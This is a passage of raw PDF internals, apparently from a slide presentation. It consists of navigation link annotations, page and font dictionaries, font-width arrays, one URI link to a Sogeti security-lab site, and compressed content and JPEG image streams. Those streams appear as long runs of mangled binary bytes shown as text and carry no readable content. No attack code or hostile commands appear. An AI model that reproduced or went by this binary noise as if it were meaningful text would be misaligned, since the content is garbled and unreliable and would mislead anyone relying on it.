(Navigation27) >> >> endobj 1181 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1182 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1183 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1184 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1185 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1186 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1187 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1188 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1189 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1190 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1191 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1192 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1193 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1194 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1195 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1196 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1197 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1198 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1199 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1200 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1201 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1202 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F69 778 0 R /F66 559 0 R /F100 1205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1203 0 obj << /Type /Page /Contents 1204 0 R /Resources 1202 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1174 0 R 1175 0 R 1176 0 R 1177 0 R 1178 0 R 1179 0 R 1180 0 R 1181 0 R 1182 0 R 1183 0 R 1184 0 R 1185 0 R 1186 0 R 1187 0 R 1188 0 R 1189 0 R 1190 0 R 1191 0 R 1192 0 R 1193 0 R 1194 0 R 1195 0 R 1196 0 R 1197 0 R 1198 0 R 1199 0 R 1200 0 R 1201 0 R ] /AA << /O << /S /GoTo /D [ 1237 0 R /Fit ] >> >> >> endobj 1204 0 obj << /Length 2997 /Filter /FlateDecode >>stream xko~)}h' IKJ ##NwfAR;xjq;v/N ^w(~^(#SU!dBjQ]icȼ9ѶU5EeRw HSPSF)* a<}unefC6㈭RKkqQ(RLpLWDCWT)c(s "*UHh$'yWBvsr7a*cŎfa޻bHm*(9FfRmO8*Qc\ׂ)eq06B 2[4@M%89!QeEtr.bhACT 퉗tK6lNDG9y 54~qω\XB~IjyKOH$Lн5*SoNlħR҉(_mxI,9%=1\tSbc,Bqh{6u~q\ %)Qe 5}#M4R~^#&&3/<.j%wb^Nqr~Nr0%05*]87#+ak 9yS]L`"h#[ @$ |r&xr4ض.ɦ)kYr+ќ hGMA}z샜9f'lP>hi~^rOr +<3RSL#mI;~cbO֯OŅ*e*a Φ>Kk{̏iޅ}utOyTCػp<3 [UqxT+rwo2LҗPr{JyqϺr{^qYz\c#bGcX8!}1p" '!?& wf8qWX[q'!aMkϑ?2NhׯA^.Ӯ $3'V/_7Z@2쌸eq&Smey姱UGtO:ϐ3a,s$8 } elg;a&Α?d9zD˧,A [i,^K zD#|Tdfޠ;%_uxKivg(Q;n/aA:63ۋ(?"qfRkԱC 2rt Ŋc/$eL_ W(֐iѡ6C\/A ;?RdDlFq\y~NMȌxvɦd1 PE!FB™)}|Kb0Usꀁ;^f P;fxoƼxUXՉ݆c` /FH{})hH+>,'cN%K@kYHBRnߢ8хmD`4:xf}O!bp~@n(@K^a4f XYh&أӺѺxZצ1֍9%q_|kzɨu2JuO9Vxct}&2i&cN%@kj9 5i{ {> B<^biYӤ_Ox:ux;Ѿ@D3grWho CXfu )_C|>$uvqH=CXYѫ#duxBTrГoH˂H<7ȪH^Q3^ڱg%(qⴼ$ސ^QzM"ᥕxhiuϥ'|@!UȽ {r W!]ܛhi a ߩ7Eg"#S0kj\P.+|%ZWxKও:G-Q@-B*P8 Ӑ;KeSBl Pk"n` (vh!*soF4ZA M07ko'Sg琚z~ET|Зr7x98* LL9(@I!==io&Iۍ—SkN[-;ʩL*?~hX}k"\Ct{a)g/SΞvDOc3-x}|ۆ_P`oc;[+b;ƏªBQx!th!SJ2ŷ:a:*Q>L>.#\"0ֹ5VXH5VuLO<8 2]t o9R~t `(,ƿ9Sx­Tr9>w~|$t56Fם6FYd!Ǭ.PЖ6C 4fpڃtW4J7,^W?,b^dwN[ 6-i7J>82&ya`·m4FacN%ָ?uǛÙvhǙÑt6E%U! \p)^ꒉ.-ˈS{5ouaAyT3KSTHo|W>Q*fIf)KUt.%Ra::s)u]JeBPR zK0+6:ZNAyD$nEif$ƲcN$'k$U,_'tDhN&6ӛH)Uͮy3ɞC_-O" ٰ'u4IwM,K#uc7`lxEGw 5/Fx tkq76ޫ+ C4jx d5O!yqkggBB9?;9sLE*f둡61O1m{-r-KY endstream endobj 1205 0 obj << /Type /Font /Subtype /Type1 /BaseFont /AVCSFW+CMITT10 /FontDescriptor 1257 0 R /FirstChar 35 /LastChar 125 /Widths 1240 0 R >> endobj 1206 0 obj << /D [ 1203 0 R /XYZ 334.488 1.245 null ] >> endobj 1207 0 obj << /Type /XObject /Subtype /Image /Width 206 /Height 221 /BitsPerComponent 8 /Length 8777 /ColorSpace /DeviceRGB /Filter /DCTDecode >>stream JFIFddDuckyDAdobed        !1AQaq"2BRbr#3$т CScs%!1AQ"a# ?@P( @P( @P( @P( @P|R,jI !@)$up4h @P( @P( AjnMwNv,Vj_<(agUdAM7^@wobo% ejI2!:& qdʕr?t,Dej>Pd!w^"()% O.>b&cXyA UkF@P( @P( ޻i'qn!A%:jHѾY#ѕ`97yW9ckuT\TQ.{rsq*)va+ֵ] ĂGS]q7:Ě"${y!9+[CZ=1"D['WGQ?RfS2?AЏuDFP(5͛Oɚ +C%zBh2@P( *Vv3$^PDpY~Bڛs%7Z.RE0s;c}Xqʓ8|2v6{UWYF)IBJBRrP[y<݈ĥ _\Fs^L)\ngARe* >jG]v#oj.kէ)[=~mij##KܲW+3 EJ+rSa+Bpe G^$X8/ 9vRR'@uSʿU[Ԁ҂]Y!GE+AQՅA ֹq%?)kGcNa{i{8o'c*DM4I\#^eT%_ݷs y$eKEzn_ "K,*[Hh; m6ԡ!7 TW@i:PT IY=Ex*Ȫj!bR`1 h97,[sTy)-ğK++*uAyp7f^"WsN8Y%faM׌ܙ)Pf|Xa,S?J'JQk<]XDY6s2+M\uG=LGT6&#t=1M-Lh<=Zk%J,xz U{Q\h$p! IDs\yq]qU%@APo};O<OV,|edi2O*h+~:pn6s$I{OUe@P[;#ʄZ?jȫi&´^:PP7h`6{6O/|[̇\w>5WįYI(>. h=Ng2Լ%ԩqF>CIy5*edjJ-hy@6)A兀N{6:keX 3rָij⬟e"LfCmEB@i_'o6/jR\2m%NW*@= jD{I)VPjS+lB{oDC97J\3vT?brTIh'Z{SQGFsx-L[.B^*QDI5d@2[Pc9%/n{cr\$nT|<=յ|J(367DBGi@Tq=IӿJO!Ǥ["`W1VxA>Ս5^ʿz^JzfߒAe*3"N愘l] Z\IӉ&{M-J+LhA<ڨ=-č z_+mt,wCr@ 77gP_}KY Adl6UvX?E/VQER!9 vQPU"ݴѫ~glm&k1MJ*y{=>Q5)+Kd m{v8AK3~g-pD6nNmT{TT %)H` -A>gN}j \H?^##{82=>MBpިAChA=PXW H'B`j2NcG^SnGKU8_Z^ 1{#J?+/ %VWSQ~mmx[m<\0ӖG}eԋij4 &Ya|~l-Vy tm)j-L+aZ|?Ɗ"9jMW:9>< QPP"UsaAλN]($6~Y3Q!(x'm-7glNǟq<IRnrQ8hyXb[MʻEAK0HR"1Y:Ƿ7o,>!,& rS$/uR|7GY=Eg#YO7KxL*(BPոI,`nw]d#(*>GH*BX,\xN~|$[zcVW- O)t]]\koHKy9i*`(5mzv3rS5 :-69ۅLĴ)J GkV5;.H*CeE6|O?XqW!"CGR|RǛ m&r9:AS#VVy5P+!>$`@7evݜ'&6! ފ8V+Jq n6W"G h9_LP 1'-(;ޣY gV?S% r-6ô޹}\{~.<}o.YvGQ&211x ZJP,eLd]>^GeeoVLĩ <ߩ~rnp*:FrHZ-~WUA߻3[G$m1U)k-,M:9@ma+ƑOU*mևnIybdžR5qԩ\׍SK2W S"]*.<]D3(~XH ^UW`(8L>Kgug= ,ZیJme!e8 m-TenzbZk knNj59 ̃dnIVVml-/mli,a-aI'Le_n+ZNG|t IMcT{#!TH{9*DdtQyU"HA=1 lN:NHVd7xrQ*H>rB4P"o5WԹTZ}U&/Kdd EP{I b5q:lnJCyl`oy8GDX߾,lM~TT̨r$c-#Ie\Ө(Z}$UH7I7,vEü╅̄&K$ FA,k:1ҬWMjYx#U?1[[o6 pяc[ ĊJ?j:GRh8QS/ "-Q  %* {ihkP(9!D3ny|S ˈ6Q.*"Y`4A$s:v%㚝D!#N'R_zq6|ng) @51I_+=V $ PenMۄVmls!B:,2*K6"+M/%OŰSor炏 ֵ$uA l898AEflWtv,J8 OU;Oh-[D`HO7 5H_ENzƂqkepQ|tɖ|DQ欝tEmmiRYBA.bwts&U jRzDImA.N{B0wBlab (PRxr5jo^Eh/%(ID_/|v O7bjb(Tj +ܵ$7祡+?3!#ǛZ,u326;?!6M;Ñ*A}7p+Wq|I(,ZH&3lQ:;($jTOj \)Yv ]"\OqQ sRVۭ J[m.2opi&0Un54$HUTЊBzVC NK)5ȩ\hj7(> ה5="+6ꎭoA! q$: Ó %I?IO录(GQzMv$͙ NcM&:]hHR!Jz,-Zy)+I!IP<"ƪ)n% A8AAsiP|ϰ7G`o &ĥ.LnkLp$mŤavM:)CM6Ϛh!H#%6)#}֢2nn\m*.IXHK#ku!5 }Uwg=ZGj5݁ymLZXKAOiҬƥҒtU6)w\3$R"Tpׁ򎯯ˌLRfy%qW?cz(;=?ݸ(Ӥv(ayG[s)[+93m+ &FBѾO9SmL1YD!w{/jťD( w[w4UvnLvqϧδYE-qDžA(h$P_%6Ԃ0TO28P+i>UqI֊?]{=Yp09b,Tmڤ)i'PiRƵD(@Q}%} 8)0b_n$!iTRDMٝde=ր>(|LҊ9Hޓ?[U9-FɾLu nZy <,)UW[a }MA@pr1V{Y6NuuoJ֟G0* QAwm5u=c9x@*?i_$jAuo8 AY65ʁ@P((fmKtqy$ Ҵ(j}Z%M7n(]I6A…jQڛmKr&I<͌ 81(9rR[CO-Ab`ab+07ö)PiO=oQ[@P( @P( G7k' v{md$id_MY6%N&N9Kh\q<|yP`DJf1β{XmZTeIIZ(06SWƶ؎n,ݽjnF\ߕJAYz@P( @P(#Ӯ2:SɰHbH cKXstxUF=~|:EC|İ%QHqB:N6ŽdJ2tBrbvFCKsCH$^e%ExSzcxJx yfeM{7!q_b6NWe&5˝818Xl<@m=XN( @P( @:[1-*ɴ7(IBnx>>LgYRu Tb=k!; 7k Y\eicT<[)"3]cT0Wq&Z%8+l9ZGʥ%@<5BA @P( @P(ׯE7j~ֱ9\D'WTuV$kރLlg3Fs۽?1cˊiAаBGaQA ňe-#\>_Ԭ+Ju 2yR՞t]~qawیt!̮~%ؓ(CǍ|XuAyKtn_j.PkVǝW⥫.j@P( @P( E4wNwյg,in$x,ablTX!q0߹BGPD~)vfFUzZ>֖}1m6tڸfD3r;O"E@P( @P( @P( @P( @P(? endstream endobj 1208 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1209 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1210 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1211 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1212 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1213 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1214 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1215 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1216 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1217 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1218 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1219 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1220 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1221 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1222 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1223 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1224 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1225 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1226 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1227 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1228 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1229 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1230 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1231 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1232 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1233 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1234 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1235 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1236 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R /Im10 1207 0 R >> /ProcSet [ /PDF /Text /ImageC ] >> endobj 1237 0 obj << /Type /Page /Contents 1238 0 R /Resources 1236 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1208 0 R 1209 0 R 1210 0 R 1211 0 R 1212 0 R 1213 0 R 1214 0 R 1215 0 R 1216 0 R 1217 0 R 1218 0 R 1219 0 R 1220 0 R 1221 0 R 1222 0 R 1223 0 R 1224 0 R 1225 0 R 1226 0 R 1227 0 R 1228 0 R 1229 0 R 1230 0 R 1231 0 R 1232 0 R 1233 0 R 1234 0 R 1235 0 R ] /AA << /O << /S /GoTo /D [ 45 0 R /Fit ] >> >> >> endobj 1238 0 obj << /Length 2407 /Filter /FlateDecode >>stream x]oݿbrx?Rg;ڻZvXRk}I׮%&EػrH!uÛ7|))y (+WN2!ms7km } o8B) O%vLo:vc\\*)&9%2)LpycFFXhۅkVcf[,[c'qљSNKuc;OߏGnJ栾ߢkJ Zpda MӮB`ШP÷ Sv}R3 28h{kr͈ l,N/O>-cř7u&}^1.".)RTO0g+pf~ώ1@stP̢>[3|V?]Mqs wHbx endstream endobj 1239 0 obj << /D [ 1237 0 R /XYZ 334.488 1.245 null ] >> endobj 1240 0 obj [ 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 ] endobj 1241 0 obj [ 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 ] endobj 1242 0 obj [ 1027.8 ] endobj 1243 0 obj [ 339.3 ] endobj 1244 0 obj [ 892.9 ] endobj 1245 0 obj [ 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 ] endobj 1246 0 obj [ 777.8 777.8 777.8 777.8 777.8 777.8 777.8 777.8 1000 1000 777.8 777.8 1000 1000 500 500 1000 1000 1000 777.8 1000 1000 611.1 611.1 1000 1000 1000 777.8 275 1000 666.7 666.7 888.9 888.9 0 0 555.6 555.6 666.7 500 722.2 722.2 777.8 777.8 611.1 798.5 656.8 526.5 771.4 527.8 718.7 594.9 844.5 544.5 677.8 762 689.7 1200.9 820.5 796.1 695.6 816.7 847.5 605.6 544.6 625.8 612.8 987.8 713.3 668.3 724.7 666.7 666.7 666.7 666.7 666.7 611.1 611.1 444.4 444.4 444.4 444.4 500 500 388.9 388.9 277.8 ] endobj 1247 0 obj [ 550 550 550 550 733.3 488.9 565.3 794.5 855.6 550 947.2 1069.5 855.6 255.6 366.7 558.3 916.7 550 1029.1 830.6 305.6 427.8 427.8 550 855.6 305.6 366.7 305.6 550 550 550 550 550 550 550 550 550 550 550 305.6 305.6 366.7 855.6 519.4 519.4 733.3 733.3 733.3 702.8 794.5 641.7 611.1 733.3 794.5 330.6 519.4 763.9 580.6 977.8 794.5 794.5 702.8 794.5 702.8 611.1 733.3 763.9 733.3 1038.9 733.3 733.3 672.2 343.1 558.3 343.1 550 305.6 305.6 525 561.1 488.9 561.1 511.1 336.1 550 561.1 255.6 286.1 530.6 255.6 866.7 561.1 550 561.1 561.1 372.2 421.7 404.2 561.1 500 744.4 500 500 476.4 ] endobj 1248 0 obj [ 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 ] endobj 1249 0 obj [ 556.1 652.8 686.3 266.2 459.5 674.2 528.9 849.5 686.3 722.2 622.7 722.2 630.2 544 667.8 666.7 647 919 647 647 598.4 283 489.6 283 489.6 272 272 468.7 502.3 435.2 502.3 435.2 299.2 489.6 502.3 230.3 257.5 475.1 230.3 774.3 502.3 489.6 502.3 502.3 332.8 375.3 353.6 502.3 447.9 665.5 447.9 447.9 ] endobj 1250 0 obj [ 550.9 550.9 836.4 836.4 245.4 273.9 513.9 513.9 513.9 513.9 513.9 686.7 456.8 493.8 742.3 799.4 513.9 885.8 1000 799.4 245.4 325.6 513.9 856.5 513.9 856.5 779.3 285.5 399.7 399.7 513.9 799.4 285.5 342.6 285.5 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 285.5 285.5 325.6 799.4 485.3 485.3 685.2 686.7 686 656.6 743 617.3 588.7 685.2 726.8 287 486.1 715.3 560.2 898.1 726.8 759.3 657.4 759.3 665.9 571 702.2 706.8 686.7 972.2 686.7 686.7 628.1 298.6 513.9 298.6 513.9 285.5 285.5 493.8 530.9 456.8 530.9 456.8 314 513.9 530.9 245.4 273.9 502.3 245.4 816.3 530.9 513.9 530.9 530.9 351.1 394 371.1 530.9 473.8 702.2 473.8 ] endobj 1251 0 obj [ 583.3 536.1 536.1 813.9 813.9 238.9 266.7 500 500 500 500 500 666.7 444.4 480.6 722.2 777.8 500 861.1 972.2 777.8 238.9 319.4 500 833.3 500 833.3 758.3 277.8 388.9 388.9 500 777.8 277.8 333.3 277.8 500 500 500 500 500 500 500 500 500 500 500 277.8 277.8 319.4 777.8 472.2 472.2 666.7 666.7 666.7 638.9 722.2 597.2 569.4 666.7 708.3 277.8 472.2 694.4 541.7 875 708.3 736.1 638.9 736.1 645.8 555.6 680.6 687.5 666.7 944.5 666.7 666.7 611.1 288.9 500 288.9 500 277.8 277.8 480.6 516.7 444.4 516.7 444.4 305.6 500 516.7 238.9 266.7 488.9 238.9 794.4 516.7 500 516.7 516.7 341.7 383.3 361.1 516.7 461.1 683.3 461.1 461.1 434.7 ] endobj 1252 0 obj [ 333.3 277.8 500 500 500 500 500 500 500 500 500 500 500 277.8 277.8 319.4 777.8 472.2 472.2 666.7 666.7 666.7 638.9 722.2 597.2 569.4 666.7 708.3 277.8 472.2 694.4 541.7 875 708.3 736.1 638.9 736.1 645.8 555.6 680.6 687.5 666.7 944.5 666.7 666.7 611.1 288.9 500 288.9 500 277.8 277.8 480.6 516.7 444.4 516.7 444.4 305.6 500 516.7 238.9 266.7 488.9 238.9 794.4 516.7 500 516.7 516.7 341.7 383.3 361.1 516.7 461.1 683.3 ] endobj 1253 0 obj [ 571.2 523.1 523.1 795.1 795.1 230.3 257.5 489.6 489.6 489.6 489.6 489.6 647 435.2 468.7 707.2 761.6 489.6 840.3 949.1 761.6 230.3 311.3 489.6 816 489.6 816 740.7 272 380.8 380.8 489.6 761.6 272 326.4 272 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 272 272 311.3 761.6 462.4 462.4 652.8 647 649.9 625.6 704.3 583.3 556.1 652.8 686.3 266.2 459.5 674.2 528.9 849.5 686.3 722.2 622.7 722.2 630.2 544 667.8 666.7 647 919 647 647 598.4 283 489.6 283 489.6 272 272 468.7 502.3 435.2 502.3 435.2 299.2 489.6 502.3 230.3 257.5 475.1 230.3 774.3 502.3 489.6 502.3 502.3 332.8 375.3 353.6 502.3 447.9 665.5 447.9 447.9 424.8 ] endobj 1254 0 obj [ 354.2 295.1 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 295.1 295.1 336.8 826.4 501.7 501.7 708.3 708.3 708.3 